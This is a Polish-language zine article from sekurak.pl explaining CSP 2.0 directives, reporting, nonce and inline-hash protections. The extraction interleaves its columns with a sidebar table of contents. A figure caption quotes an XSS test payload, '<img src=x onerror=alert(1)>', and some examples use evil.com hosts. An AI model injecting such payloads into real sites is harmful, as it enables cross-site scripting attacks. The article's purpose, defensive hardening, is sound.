Obecnie jednym z najlepszych narzędzi online wspierających proces tworzenia CSP, jest internetowych
Report-URI CSP Builder. Pamiętajmy jednak, że tego rodzaju narzędzia mogą się zdezaktu-
alizować lub posiadać błędy.
Czym jest i jak wykorzystać
podatność Relative Path
Overwrite/Path–Relative Style
WSPARCIE W PRZEGLĄDARKACH Sheet Import (RPO/PRSSI)
Wsparcie nowych technologii WWW w przeglądarkach można sprawdzić w ser-
wisie „Can I use”. Pod adresem http://caniuse.com/#search=CSP znajdziemy podsta- Mechanizm HTTP Public Key
wowe informacje o stopniu implementacji CSP w różnych przeglądarkach. Pinning
Wersje CSP 1.0 oraz 2.0 nie powinny się już zmieniać, więc http://caniuse.com
Rysunek 1. CSP 1.0 wspierane przez około 90% przeglądarek internautów.
jest dość dobrym (i często aktualizowanym) źródłem wiedzy. Trzeba tylko pamiętać
o adnotacjach i wyszukiwać informacji o pełnym wsparciu i ze szczególną rezer-
wą podchodzić do przeglądarek z „częściowym wsparciem” – na przykład IE 10/11

10 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Wszystko o CSP 2.0…

sekurak.pl /  offline 
Wsparcie CSP 2.0 Polityka CSP (CSP policy) składa się z dwóch elementów:
Na początku 2016 roku, kompleksowym wsparciem CSP 2.0 może pochwalić się tyl- 1. dyrektywy (directive),
ko Google Chrome i przeglądarki oparte na jej silniku (Opera, Opera Mobile, Android 2. list źródeł (source list).
WebView, Android Chrome). Nieźle radzi sobie również Firefox, który od wersji 36 ma pro- Mechanizm Service Workers
blemy tylko z interpretacją plugin-types oraz child-src. Za kilka miesięcy z pewno- Ogólny schemat polityki (dyrektywy) wygląda następująco:
ścią „dogoni” przeglądarkę Google, zapewniając stuprocentowe wsparcie CSP 2.0. Wszystko o CSP 2.0 – Content
directiveX: source1 source2 sourceN; Security Policy jako uniwersalny
Internet Explorer, Internet Explorer Edge, Safari oraz wersje mobilne tych prze-
strażnik bezpieczeństwa aplikacji
glądarek na początku 2016 roku nie wspierały CSP 2.0.
webowej
Poniższy zapis definiuje więc trzy polityki:
Content-Security-Policy: script-src 'self'; img-src 'self'; style-src 'self' cdn.com; Ochrona podatnych aplikacji
webowych za pomocą wirtualnych
poprawek w ModSecurity
Dyrektywy rozdziela się średnikami, białe znaki nie mają znaczenia. Powyżej widzi-
my restrykcje dla skryptów, obrazków oraz styli. Nie zmieniono definicji domyślnego Czym jest atak Padding Oracle
zachowania, więc inne elementy w takim przypadku (np. fonty) byłyby blokowane.
Czym jest Bit-Flipping
Dyrektywy
Dyrektywami są słowa kluczowe, które opisują reguły dostępu do zasobu. Gdy Bezpieczeństwo aplikacji
przeglądarka nie wspiera danej dyrektywy, pominie ją i zacznie przetwarzać następ- webowych: podatności
w mechanizmach uploadu
Rysunek 2. CSP 2.0 wspierane przez ponad połowę przeglądarek internautów (w Polsce – 75%). ną (czyli w przypadku braku wsparcia, przeglądarka nie przestaje nagle interpreto-
wać CSP).
Ukryte katalogi i pliki jako
Wsparcie CSP 3 Poniżej znajduje się lista dyrektyw oraz informacja, od której wersji standardu źródło informacji o aplikacjach
W celu szybszego wdrożenia wersji drugiej, W3C zdecydowało się na wyrzucenie dana dyrektywa powinna być wspierana: internetowych
niektórych dyrektyw CSP do kolejnej wersji standardu. Część z nich została już za- »» base-uri (CSP 2.0),
implementowana przez twórców przeglądarek, więc możemy mówić o pierwszych »» child-src (CSP 2.0, zastępuje frame-src), Czym jest i jak wykorzystać
wdrożeniach CSP Level 3. »» connect-src (CSP 1.0), podatność Relative Path
Trudno jednak obecnie wyciągać wnioski o poziomie wsparcia CSP 3.0 w prze- »» default-src (CSP 1.0), Overwrite/Path–Relative Style
glądarkach, ponieważ standard ciągle ewoluuje. Niektóre z nowości są bardzo cie- »» font-src (CSP 1.0), Sheet Import (RPO/PRSSI)
kawe i można pokusić się o ich wdrożenie – ale należy pamiętać, że z dnia na dzień »» form-action (CSP 2.0),
może zmienić się sposób ich działania. »» frame-ancestors (CSP 2.0), Mechanizm HTTP Public Key
Więcej o nowinkach CSP Level 3 w sekcji: „Coś się kończy, coś zaczyna – CSP 3.0?”. »» frame-src (tylko CSP 1.0, obecnie przestarzałe), Pinning
»» img-src (CSP 1.0),
SKŁADNIA POLITYK »» media-src (CSP 1.0),
Content-Security-Policy jest nagłówkiem odpowiedzi serwera, którego »» object-src (CSP 1.0),
wartością są polityki stopniowo rozluźniające zasadę „blokuj wszystko”. »» plugin-types (CSP 2.0),

11 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Wszystko o CSP 2.0…

sekurak.pl /  offline 
»» report-uri (CSP 1.0), »» 'self' (pozwolenie dla tego samego hosta, zgodnie z zasadą Same Origin
»» sandbox (CSP 1.0), Policy);
»» script-src (CSP 1.0), »» 'unsafe-inline' (pozwalaj na skrypty, style, obrazki definiowane bezpośred-
»» style-src (CSP 1.0). nio w kodzie HTML); Mechanizm Service Workers
»» 'unsafe-eval' (pozwalaj na stosowanie niebezpiecznych funkcji typu eval);
Lista nr 1. Oficjalna lista dyrektyw CSP 1.0 oraz CSP 2.0. Wszystko o CSP 2.0 – Content
»» nonce-XXXX – o tym w sekcji „Funkcje zaawansowane › nonce” (CSP 2.0);
Security Policy jako uniwersalny
Istnieje też kilka bardzo ciekawych dyrektyw, które ostatecznie wypadły z CSP 2.0, »» sha256-XXXX, sha364-XXXX lub sha512-XXXX (od CSP 2.0) – o tym w sekcji „Funk-
strażnik bezpieczeństwa aplikacji
ale mogą trafić do trzeciej wersji CSP: cje zaawansowane › Inline Hash”;
webowej
»» upgrade-insecure-requests, »» specyficzna fraza dla danej dyrektywy (dokładny opis w szczegółach dyrektywy).
»» block-all-mixed-content, Ochrona podatnych aplikacji
Lista nr 3. Wartości, które mogą trafić na listę źródeł dyrektyw.
»» manifest-src, webowych za pomocą wirtualnych
»» referrer, Warto wspomnieć o kilku najczęstszych błędach w implementacji dyrektyw: poprawek w ModSecurity
»» reflected-xss. »» przy politykach default-src 'self'; img-src cdn.com; obrazki zostaną
załadowane tylko z domeny cdn.com (a nie z tej samej domeny oraz z domeny Czym jest atak Padding Oracle
Lista nr 2. Wybrane dyrektywy, które mogą wejść w skład nowszych wersji CSP.
cdn.com);
W sekcji „Coś się kończy, coś zaczyna – CSP 3.0?” przyjrzymy się tym dyrektywom »» odwołanie do obrazka <img src="//127.0.0.1/vizz.png"/> nie zadziała, Czym jest Bit-Flipping
dokładniej. gdy dozwolonym hostem będzie localhost;
»» gdy przy polityce img-src localhost użyjemy <img src='/vizz.png' />, Bezpieczeństwo aplikacji
Lista źródeł dyrektywy to obrazek wyświetli się tylko podczas odwiedzenia adresu http://localhost webowych: podatności
w mechanizmach uploadu
Na listę źródeł dyrektywy może trafić: (nie zadziała w przypadku http://127.0.0.1);
»» host: »» zapis hostu lub ścieżki w cudzysłowie jest błędny – przy img-src 'localhost'
Ukryte katalogi i pliki jako
»» niepoprzedzony protokołem (oznacza wtedy dopasowanie z HTTP oraz nie będziemy w stanie wyświetlać żadnych obrazków.
źródło informacji o aplikacjach
HTTPS) – example.com; internetowych
»» poprzedzony protokołem – https://example.com; W sekcji standardu CSP 4.2.2 (Matching Source Expressions), w kroku 4.8, zawarto ostrzeże-
nie, że adresy IPv4 oraz IPv6 obecnie nie są wspierane, ale może się to zmienić w przyszłości.
»» wraz z definicją portu – example.com:8080; W praktyce jednak nie stwierdziłem problemów z podawaniem adresów IP jako hosta. Czym jest i jak wykorzystać
»» schemat, domena i/lub port może zawierać znak wieloznaczny * (ale w czę- podatność Relative Path
ści hosta musi znajdować się skrajnie z lewej strony) – https://*.example. Overwrite/Path–Relative Style
com:*; SZCZEGÓŁOWY OPIS DYREKTYW Sheet Import (RPO/PRSSI)
»» host wraz ze ścieżką (od CSP 2.0): default-src
»» http://example.com/js/plik.js – dopasowanie do pliku plik.js Domyślna polityka CSP blokująca dostęp do niezdefiniowanego źródła może zo- Mechanizm HTTP Public Key
znajdującego się pod adresem http://example.com/js/plik.js; stać zmieniona przy pomocy dyrektywy default-src. Pinning
»» example.com/js – pozwala ładować tylko pojedynczy plik js w domenie Gdy mamy wpływ na CSP w trakcie tworzenia aplikacji webowej (np. jako pro-
example.com (nie dotyczy katalogu); gramista), dobrym pomysłem jest rozpoczęcie od pojedynczej, restrykcyjnej dy-
»» example.com/js/ – pasuje do całego katalogu js/ w domenie example.com rektywy default-src ('none' lub 'self'), a następnie „rozluźnianie” obostrzeń
»» 'none' (zabroń); przez uszczegóławianie źródeł skryptów, obrazków itp. Dla zachowania czytelności,

12 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Wszystko o CSP 2.0…

sekurak.pl /  offline 
warto też dodawać default-src jako pierwszą politykę, nawet, gdy jej wartością connect-src (CSP 1.0; może przyjąć wartość domyślną)
miałoby być słowo kluczowe 'none'. Pozwala określić, co może być celem żądań asynchronicznych XMLHttpRequest
Należy zaznaczyć, że po definicji default-src, wartości domyślne ustawiane send(), konstruktorów WebSocket, EventSource lub parametrów funkcji
są tylko na wybrane i niezdefiniowane dyrektywy. sendBeacon() technologii Beacon. Mechanizm Service Workers
Poniżej lista dyrektyw, które mogą przybrać wartości domyślne (według CSP 2.0): Dyrektywa ta wpłynie między innymi na takie wywołania w kodzie, jak:
»» child-src (tylko w CSP 2.0! zastępuje frame-src), »» (new XMLHttpRequest()).open('GET', 'http://example.com', true); Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
»» connect-src, »» new WebSocket('wss://example.com');
strażnik bezpieczeństwa aplikacji
»» font-src, »» new EventSource('https://evil.com'); webowej
»» frame-src (przestarzałe!),
»» img-src, font-src (CSP 1.0; może przyjąć wartość domyślną) Ochrona podatnych aplikacji
»» media-src, Tu możemy określić ograniczenia dla fontów webowych, czyli np. źródeł, które webowych za pomocą wirtualnych
»» object-src, pojawiają się w definicji @font-face w stylach CSS. poprawek w ModSecurity
»» script-src,
»» style-src. form-action (CSP 2.0; nie przyjmuje wartości default-src) Czym jest atak Padding Oracle
Obostrzenia dla atrybutu „action” formularza HTML.
Lista nr 4. Dyrektywy, które mogą przyjąć wartości domyślne.
Czym jest Bit-Flipping
Pamiętaj, że default-src nie wpływa na wszystkie dyrektywy oraz na dyrektywy już frame-ancestors (CSP 2.0; nie przyjmuje wartości default-src)
zdefiniowane! Bezpieczeństwo aplikacji
Restrykcje zagnieżdżania zasobu w innych miejscach. Dotyczy to ramkowania
strony przez takie elementy, jak ramki frame/iframe czy elementy <object>, webowych: podatności
w mechanizmach uploadu
base-uri (CSP 2.0; nie przyjmuje wartości default-src) <embed>, <applet> i podobne.
Ta dyrektywa odnosi się do ograniczeń nakładanych na element <base>. Tag Obecnie jest to jedno z najlepszych zabezpieczeń przeciwko atakom UI Redres-
Ukryte katalogi i pliki jako
„base” w HTML pozwala określić: sing (w szczególności Clickjacking) oraz innym zagrożeniom, których etapem jest źródło informacji o aplikacjach
»» bazowy adres URL dla linków względnych, wyświetlenie atakowanej strony wewnątrz ramki. internetowych
»» oraz domyślny kontekst nawigacji (np. target=_blank otwierający odnośnik Domniemaną wartością frame-ancestors jest * (niezależnie od default-src,
w nowym oknie). który nie wpływa na tę dyrektywę). Oznacza to, że strony domyślnie mogą być za- Czym jest i jak wykorzystać
gnieżdżane/ramkowane w innych miejscach. podatność Relative Path
Dodanie lub manipulacja wartości znacznika „base” przez atakującego może skutko- Overwrite/Path–Relative Style
wać załadowaniem złośliwych zasobów (np. skryptów) z obcych źródeł. Definiując »» Dyrektywa frame-ancestors w CSP 2.0 zastępuje nie do końca ustandaryzowany na-
Sheet Import (RPO/PRSSI)
wartość base-uri, możemy znacznie utrudnić ataki wykorzystujące ten element. główek X-Frame-Options, który potrafił sprawiać problemy w mocno rozproszonych
środowiskach. Mechanizm HTTP Public Key
»» Gdy przeglądarka otrzyma dwa nagłówki: Content-Security-Policy z polityką
child-src (CSP 2.0; może przyjąć wartość domyślną) frame-ancestors oraz X-Frame-Options, wykorzystana będzie wyłącznie wartość z CSP. Pinning
Dotyczy dodatkowych (zagnieżdżonych) kontekstów przeglądarki (nested brow-
sing context), czyli elementów takich jak ramki frame/iframe oraz „web workerzy” Na liście dozwolonych źródeł frame-ancestors może się znaleźć:
HTML5 (konkretnie są to restrykcje konstruktora Worker oraz SharedWorker). »» 'none' – strona nie pozwala na ramkowanie/zagnieżdżanie (odpowiednik
Zastępuje frame-src z CSP 1.0. X-Frame-Options: deny);

13 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Wszystko o CSP 2.0…

sekurak.pl /  offline 
»» 'self' – strona pozwala na ramkowanie/zagnieżdżanie tylko wtedy, gdy ro- »» źródło atrybutów <object data> oraz <embed src>,
bią to elementy spod tego samego protokołu, adresu i portu (odpowiednik »» źródło atrybutów <applet code> oraz <applet archive>.
X-Frame-Options: sameorigin);
»» host – wówczas strona pozwoli na zagnieżdżenie swojej zawartości przez wska- plugin-types (CSP 2.0; nie przyjmuje wartości default-src) Mechanizm Service Workers
zanego hosta – stosuje się tutaj standardowy zapis hosta CSP (patrz: lista nr 3), Za pomocą tej dyrektywy możemy kontrolować rodzaj pluginów uruchamia-
np. frame-ancestors trusted.ads-partner.com (nie było takiej możli- nych przez przeglądarkę do obsługi zasobów takich jak aplety Flash czy Silverlight, Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
wości w X-Frame-Options). zagnieżdżanych przy pomocy znaczników <object> oraz <embed>.
strażnik bezpieczeństwa aplikacji
W odróżnieniu od object-src wskazującego skąd obiekt może być załadowa-
webowej
frame-src (CSP 1.0, przestarzałe w CSP 2.0; może przyjąć wartość domyślną) ny, plugin-types służy do wskazania dozwolonych typów MIME. Gdy wartością
Starsza, prostsza wersja child-src. Działa podobnie, ale wyłącznie dla ramek dyrektywy będzie: Ochrona podatnych aplikacji
iframe/frame. Dyrektywa child-src działa na większą grupę elementów i po- webowych za pomocą wirtualnych
Content-Security-Policy: plugin-types application/pdf
winna być używana zamiast frame-src, która oznaczona jest jako „deprecated” application/x-shockwave-flash poprawek w ModSecurity
i prawdopodobnie zniknie w trzeciej wersji standardu.
wtedy na odwiedzanej stronie przeglądarka będzie mogła uruchomić wyłącznie Czym jest atak Padding Oracle
img-src (CSP 1.0; może przyjąć wartość domyślną) plugin do obsługi plików PDF oraz apletów Flash, ale nie będzie mogła obsłużyć
Lista dozwolonych źródeł obrazków, które mogą być podane w: apletów Javy oraz Silverlight. Czym jest Bit-Flipping
»» znaczniku <img src>, Po włączeniu restrykcji należy upewnić się, że deklaracje obiektów w kodzie
»» znaczniku <input type=image>, HTML mają ściśle zdefiniowany typ MIME – w przeciwnym wypadku nie zostaną Bezpieczeństwo aplikacji
»» atrybucie poster elementu <video>, załadowane, niezależnie od zawartości: webowych: podatności
w mechanizmach uploadu
»» atrybucie href elementu <link> służącym m.in. do ustawiania ikony strony,
<object data='resource' type='application/pdf'></object>
»» wartości funkcji url(), image(), image-set() (i podobnych) w CSS,
Ukryte katalogi i pliki jako
»» innych źródłach obrazków, które w przyszłości będą obsługiwane przez źródło informacji o aplikacjach
przeglądarki. Ze względu na nietypowy format listy źródeł domyślna polityka default-src nie internetowych
wpływa na plugin-types. Na liście typów MIME nie mogą również pojawić się
media-src (CSP 1.0; może przyjąć wartość domyślną) znaczniki wieloznaczne *. Czym jest i jak wykorzystać
Ograniczenia dla dozwolonych źródeł multimediów (filmy, dźwięki, ścieżki…) podatność Relative Path
wskazywanych przez atrybut src wewnątrz tagów <video>, <audio>, <source> report-uri (CSP 1.0; nie przyjmuje wartości default-src) Overwrite/Path–Relative Style
oraz <track>. Jest to specjalna dyrektywa, która wskazuje, pod jaki adres powinien zostać wy- Sheet Import (RPO/PRSSI)
słany raport w przypadku naruszenia zasad CSP. Wartością dyrektywy powinien być
object-src (CSP 1.0; może przyjąć wartość domyślną) adres URI. Mechanizm HTTP Public Key
Restrykcje dla źródeł, z których mogą być pobierane obiekty obsługiwane przez Pinning
pluginy przeglądarki. Dotyczy to między innymi apletów Flash, Silverlight oraz Java. Dyrektywa report-uri jest ignorowana, jeśli CSP zostało włączone przez znaczniki <meta>
(a nie nagłówki HTTP).
Content Security Policy w tej dyrektywie sprawdza:
»» znaczniki <object> oraz <embed>, które mogłyby zostać użyte do stworzenia
zagnieżdżonego kontekstu przeglądarki (tak jak robią to ramki); Więcej o raportowaniu w sekcji „Funkcje zaawansowane › Raportowanie”.

14 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Wszystko o CSP 2.0…

sekurak.pl /  offline 
sandbox (CSP 1.0; nie przyjmuje wartości default-src) załadowana strona będzie mogła wykonywać kod Javascript oraz tworzyć okna
Użycie tego słowa kluczowego w CSP spowoduje wyświetlenie całego zasobu pop-up. Niezależnie od tego, czy logika wysyłania formularzy zostanie zaimplemen-
(odwiedzanej strony) w trybie piaskownicy HTML5. Tryb ten, pierwotnie wprowa- towana przez kod HTML czy Javascript, ich wysłanie zostanie zabronione (nawet
dzony jako mechanizm ochrony ramek, pozwala na wyłączenie niektórych mecha- przy włączonym Javascript). Na stronie nie będzie również możliwości zmiany ad- Mechanizm Service Workers
nizmów przeglądarki. resu ramkującej (nadrzędnej) strony (zmiana adresu kontekstu nadrzędnego przez
Gdy zasób jest wyświetlany w trybie „sandbox”, wtedy nakładane są nie niego window.top.location.href). Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
wszystkie poniższe obostrzenia: Szczegółowe informacje o HTML5 Sandboxing można przeczytać na stronach W3C.
strażnik bezpieczeństwa aplikacji
»» wysyłanie formularzy jest wyłączone, webowej
»» konteksty przeglądania (np. ramki) zawsze są limitowane ścisłą zasadą Same script-src (CSP 1.0; może przyjąć wartość domyślną)
Origin Policy, Sztandarowa dyrektywa CSP, która włącza restrykcje dla skryptów na stronie. Na Ochrona podatnych aplikacji
»» wykonywanie skryptów zostaje wyłączone, liście źródeł tej dyrektywy mogą pojawić się: webowych za pomocą wirtualnych
»» zmiana nawigacji jest zabroniona (window top navigation), »» dozwolone hosty (CSP 1.0), a nawet ścieżki (CSP 2.0); poprawek w ModSecurity
»» zabrania się otwierania wyskakujących okienek (pop-up), »» słowa kluczowe 'none'(zabroń) lub 'self' (zezwól tylko z tego samego źródła);
»» interfejs do blokowania wskaźnika myszy zostaje wyłączony. »» słowo kluczowe 'unsafe-inline', które pozwoli wykonywać skrypty „inline” ; Czym jest atak Padding Oracle
»» słowo kluczowe 'unsafe-eval', które pozwoli wykonywać (ewaluować) w spo-
Lista nr 5. Restrykcje trybu sandbox w HTML5.
sób dynamiczny kod Javascript (wpływa na wywołania funkcji takich jak eval(), Czym jest Bit-Flipping
Wszystkie powyższe ograniczenia zostaną wprowadzone, gdy słowo kluczowe setTimeout(), setInterval() oraz na konstruktor funkcji Function).
sandbox trafi na listę CSP: Bezpieczeństwo aplikacji
Użycie script-src bardzo utrudnia udane wykorzystanie błędów XSS. Lista do- webowych: podatności
Content-Security-Policy: sandbox; w mechanizmach uploadu
zwolonych hostów utrudni atakującemu dołączenie złośliwego skryptu ze swo-
jej domeny. Brak wartości 'unsafe-inline' utrudni wykonanie skryptów „in-
Ukryte katalogi i pliki jako
Możliwe jest rozluźnienie niektórych obostrzeń trybu piaskownicy. Aby to zrobić, line”, które są najpopularniejszą metodą dystrybucji ładunku XSS. Brak wartości
źródło informacji o aplikacjach
wystarczy na listę dozwolonych źródeł dyrektywy sandbox dodać wybrane słowa 'unsafe-eval' utrudni zaś eksploatację błędów DOM XSS. internetowych
kluczowe z poniższej listy (dowolny zestaw oddzielony spacjami, bez cudzysłowów):
»» allow-forms Zawsze staraj się tworzyć polityki w taki sposób, aby unikać słów kluczowych Czym jest i jak wykorzystać
'unsafe-inline' oraz 'unsafe-eval'. CSP zostało stworzone głównie w celu wprowadzenia
»» allow-same-origin dodatkowej ochrony przed atakami XSS – nie rezygnuj z tej możliwości! podatność Relative Path
»» allow-scripts Overwrite/Path–Relative Style
»» allow-top-navigation Sheet Import (RPO/PRSSI)
Istnieje możliwość używania skryptów oraz styli „inline” bez dodawania ‘unsafe-inline’
»» allow-popups obniżającego bezpieczeństwo strony. Do tego celu powstały mechanizmy „nonce” oraz „Inli-
»» allow-pointer-lock ne Hash” CSP 2.0. Oba zostały opisane w sekcji „Funkcje zaawansowane”. Mechanizm HTTP Public Key
Pinning
W poniższym przykładzie: style-src (CSP 1.0; może przyjąć wartość domyślną)
Jest to bardzo często używana dyrektywa, która działa analogicznie do
Content-Security-Policy: sandbox allow-scripts allow-popups;
script-src, tylko dotyczy kaskadowych arkuszy stylów – czyli plików CSS, oraz
styli definiowanych wprost w kodzie HTML („inline”).

15 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Wszystko o CSP 2.0…

Listing 1. Przykład raportu wysyłanego do serwisu webowego podczas naruszenia polityki CSP. sekurak.pl /  offline 
FUNKCJE ZAAWANSOWANE
Raportowanie (CSP 1.0) {
Po dodaniu nagłówka Content-Security-Policy przeglądarki od razu za- "csp-report": {
"document-uri": "http://example.org/page.html",
czną respektować wdrożone zasady i chronić użytkowników aplikacji webowej. "referrer": "http://evil.example.com/haxor.html", Mechanizm Service Workers
"blocked-uri": "http://evil.example.com/image.png",
Niestety, o przeoczenia w CSP nietrudno – chociażby podczas odwoływania się "violated-directive": "default-src 'self'",
do bibliotek hostowanych w sieciach CDN tylko na niektórych podstronach serwi- "effective-directive": "img-src", Wszystko o CSP 2.0 – Content
"original-policy": "default-src 'self'; report-uri http://example.org/csp- Security Policy jako uniwersalny
su. W przypadku błędów, przeglądarki zazwyczaj zablokują zbyt dużo elementów report.cgi"
} strażnik bezpieczeństwa aplikacji
na stronie, utrudniając korzystanie z serwisu. Czym aplikacja większa i architektura } webowej
bardziej rozproszona, tym bardziej zbyt wysokie restrykcje mogą utrudnić, a nawet
całkowicie uniemożliwić korzystanie z serwisu. Jednoczesne wysłanie nagłówka Content-Security-Policy i Content-Security-Policy-Report-Only Ochrona podatnych aplikacji
Remedium na tego rodzaju problemy jest tryb raportowania, który włącza się przez może czasem sprawić problemy. Gdy zasób zostanie zablokowany w „CSP”, nie będzie już webowych za pomocą wirtualnych
interpretowany w „Report-Only”. Gdy w nagłówku CSP nie dodamy dyrektywy report-only
osobny nagłówek HTTP w celach testowych, jeszcze przed głównym wdrożeniem CSP: (obecnej w trybie raportowania), raport z błędem nie zostanie wysłany! poprawek w ModSecurity
Content-Security-Policy-Report-Only: politykiCSP;
Czym jest atak Padding Oracle
Dostaniemy więc szczegółowe informacje o źródle problemu, polityce, która spo-
Przeglądarka, odbierając powyższy nagłówek, będzie przetwarzała podane polityki, wodowała blokadę, a nawet całą zawartość (bardzo przydatne, gdy nagłówek jest Czym jest Bit-Flipping
ale w momencie ich naruszenia nie zablokuje zasobu, zwracając błąd w konsoli Ja- generowany dynamicznie przez serwer).
vascript (rysunek 3.). Bezpieczeństwo aplikacji
Dyrektywę report-uri można włączyć zarówno w nagłówku Content-Security-Policy, jak webowych: podatności
i Content-Security-Policy-Report-Only. w mechanizmach uploadu

Ukryte katalogi i pliki jako


Rysunek 3. Naruszenie CSP widoczne w konsoli Javascript spowodowane wstrzyknięciem ładunku XSS <img Tryb raportowania nie ogranicza się wyłącznie do debugowania poprawności me- źródło informacji o aplikacjach
src=x onerror=alert(1)> do kodu strony.
chanizmu CSP podczas rozwoju oprogramowania czy wdrożenia. Poniżej podaję internetowych
dwa przykłady, które pokazują, w jaki sposób można połączyć standardowy tryb
Aby rozszerzyć funkcje raportowania, warto użyć dyrektywy report-uri, dzięki „CSP”, tryb „Report-Only” oraz report-uri. Czym jest i jak wykorzystać
czemu podczas naruszenia restrykcji, pod wskazany adres zostanie wysłany raport podatność Relative Path
o tym zajściu. Raport jest zwykłym obiektem JSON, który należy odebrać we wła- CSP jako IDS Overwrite/Path–Relative Style
snym serwisie webowym i np. zapisać w celu dalszej analizy. Użycie dyrektywy report-uri połączone z systemem składowania raportów Sheet Import (RPO/PRSSI)
Przykładowo – podczas naruszenia poniższych zasad: ich automatycznej analizy może posłużyć jako prosty system wykrywania włamań
(głównie w kontekście nieznanych luk XSS). Raport, który zawiera naruszenia w ro- Mechanizm HTTP Public Key
Content-Security-Policy: default-src 'self'; report-uri http://example.org/csp-
report.cgi dzaju „próba wykonania skryptu inline” lub „ewaluacji funkcji Javascript”, może oka- Pinning
zać się bardzo cennym sygnałem dla zespołu developerskiego.
spowodowanych przez próbę załadowania obrazka http://evil.example.com/ Dyrektywę report-uri można wprowadzić niezależnie od tego, czy w projek-
image.png, raport wysłany przez przeglądarkę przybierze postać przedstawioną na cie istnieje możliwość użycia standardowego CSP (w trybie blokowania) czy też nie.
listingu 1. Jeżeli programiści nie mogą jeszcze wdrożyć CSP (ze względu na ryzyko błędnego

16 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Wszystko o CSP 2.0…

sekurak.pl /  offline 
działania strony), to nic nie stoi na przeszkodzie, aby inżynier bezpieczeństwa za- Listing 2. Przykład zastosowania derektywy „nonce” z CSP 2.0.
proponował restrykcyjne polityki działające w trybie report-only.
Content-Security-Policy: default: 'self'; script-src 'self' example.com
'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'
Bezstresowe wdrożenie CSP Mechanizm Service Workers
<script>
Największą skuteczność wdrażania CSP uzyskujemy wtedy, gdy zaczynamy alert("Skrypt zostanie zablokowany, ponieważ polityka skryptów nie zawiera
nowy projekt z bardzo rygorystycznymi zasadami stopniowo rozluźnianymi w trak- 'unsafe-inline'.")
Wszystko o CSP 2.0 – Content
</script> Security Policy jako uniwersalny
cie rozwoju oprogramowania. Niestety nie zawsze mamy taką możliwość.
strażnik bezpieczeństwa aplikacji
Gdy celem hardeningu z wykorzystaniem CSP jest duży serwis, którego działanie <script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
alert("Zablokowane, ponieważ nonce polityki skryptów ma inną wartość") webowej
nie może zostać zakłócone, dobrym pomysłem jest rozpoczęcie od bardzo pobłaż- </script>
liwych polityk. Potem przy pomocy Content-Security-Policy-Report-Only Ochrona podatnych aplikacji
<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
wprowadzamy ostrzejsze restrykcje, analizujemy raporty potencjalnych błędów alert("Skrypt zostanie wykonany, ponieważ wartość nonce deklaracji skryptu zgadza webowych za pomocą wirtualnych
i wprowadzamy poprawki. Gdy raporty przestaną napływać, możemy zastąpić war- się z wartością w polityce CSP") poprawek w ModSecurity
</script>
tość CSP zawartością trybu raportowania i zacząć całą operację od nowa, testując
jeszcze większe obostrzenia. <script src="https://example.com/ZEZWOLONY-ze-wzgledu-na-script-src.js"></script> Czym jest atak Padding Oracle
Po kilku iteracjach powinniśmy mieć dopracowane reguły w nagłówku CSP, które <script nonce="EDNnf03nceIOfn39fn3e9h3sdfa"
src="https://elsewhere.com/ZABLOKOWANY-ze-wzgledu-na-bledny-nonce.js"></script>
nie spowodują problemów na stronie. Czym jest Bit-Flipping
<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3"
src="https://elsewhere.com/DOZWOLONY-z-zewnetrznego-zrodla-ze-wzgledu-na-
Nonce (CSP 2.0) zgodnosc-nonce.js"></script> Bezpieczeństwo aplikacji
Content Security Policy pokazuje największą siłę, gdy blokuje wywołanie kodu webowych: podatności
w mechanizmach uploadu
„inline”. Niestety, niekiedy przepisanie takich wstawek kodu może okazać się bardzo Warto zaznaczyć, że mechanizm „nonce” nie musi służyć tylko do tzw. walki ze
skomplikowane. Dlatego też w CSP 2.0 (pierwotnie w CSP 1.1) wprowadzono me- skryptami i stylami „inline”. Ostatni przykład z listy powyżej pokazuje, w jaki spo-
Ukryte katalogi i pliki jako
chanizmy „nonce”(oraz „Inline Hash”), pozwalające na działanie wybranych skryp- sób, odwołując się do pojedynczych skryptów z CDN, można utrzymać silną, zwię- źródło informacji o aplikacjach
tów (styli) osadzonych bezpośrednio w kodzie strony. złą politykę CSP. internetowych
Mechanizm „nonce” wprowadza się w dwóch krokach.
Po pierwsze należy dodać go do dyrektywy skryptów (styli) przez słowo kluczowe Mechanizm „nonce” może zostać użyty także do oznaczenia skryptów i styli ładowanych Czym jest i jak wykorzystać
z miejsc niewyszczególnionych wśród hostów i ścieżek CSP.
'nonce-$RANDOM' (w pojedynczych cudzysłowach), zastępując wartość $RANDOM podatność Relative Path
trudnym do przewidzenia tokenem (analogicznie jak w przypadku tokenów anty-CSRF). Overwrite/Path–Relative Style
Następnie tę samą wartość umieszcza się w atrybucie nonce znacznika <script> Inline Hash (CSP 2.0) Sheet Import (RPO/PRSSI)
lub <style>, których wykonanie chcemy dopuścić. Jest to kolejny pomysł (obok „nonce”) na wskazanie zaufanego skryptu lub stylu
„inline”. W tym wypadku – przy pomocy jednokierunkowych funkcji skrótu. Mechanizm HTTP Public Key
Pamiętaj, aby zapewnić silną pseudolosowość tokena „nonce”. Nigdy nie wybieraj stałej Gdy do listy dozwolonych źródeł skryptów/styli dodamy wartość 'sha256- Pinning
wartości! Atakujący, który będzie w stanie przewidzieć wartość „nonce”, ominie zabezpie-
czenia XSS oferowane przez Content Security Policy. $base64hashInline' (pojedyny cudzysłów), przeglądarka dopuści wykonanie
kodu umieszczonego między tagami <script></script> (<style></style>),
jeśli tylko hash SHA256 zawartości znaczników będzie równy wartości $base-
Kilka przykładów zastosowania dyrektywy „nonce” przedstawiono na listingu 2. 64hashInline (skrót musi być zakodowany algorytmem base64).

17 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Wszystko o CSP 2.0…

sekurak.pl /  offline 
